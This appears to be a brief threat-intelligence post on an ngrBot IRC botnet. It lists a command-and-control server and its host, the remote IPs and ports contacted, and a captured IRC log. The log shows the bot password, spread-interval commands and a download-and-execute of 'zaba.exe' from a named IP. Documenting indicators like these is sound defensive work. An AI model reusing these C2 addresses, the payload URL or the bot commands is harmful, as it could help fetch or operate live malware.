91.215.159.137(irc botnet hosted in Netherlands Amsterdam Infinite Technologies Internet Solutions Limited)

Remote Host Port Number
213.251.170.52 80

64.62.181.43 80

66.63.184.226 80

74.125.227.0 80

74.125.227.12 80

74.125.227.26 80

74.125.227.28 80

74.125.227.3 80

74.125.227.8 80

74.125.47.132 80

75.102.22.40 1866 PASS ngrBot

91.215.159.137 1866 PASS ngrBot

PRIVMSG #!hot! :[MSN]: Updated MSN spread interval to “2”
PRIVMSG #!hot! :[Visit]: Visited “http://www.ehsan.org.sa/abr/”
PRIVMSG #!hot! :[d=”http://64.62.181.43/krstkrst/zaba.exe” s=”81920 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data1.tmp” – Download retries: 0
NICK n{US|XPa}lpimffq
USER lpimffq 0 0 :lpimffq
JOIN #!hot! ngrBot
PRIVMSG #!hot! :[HTTP]: Updated HTTP spread interval to “2”
NICK n{US|XPa}mpmelqw
USER mpmelqw 0 0 :mpmelqw

infos about hosting:
http://whois.domaintools.com/91.215.159.137

Categories: Uncategorized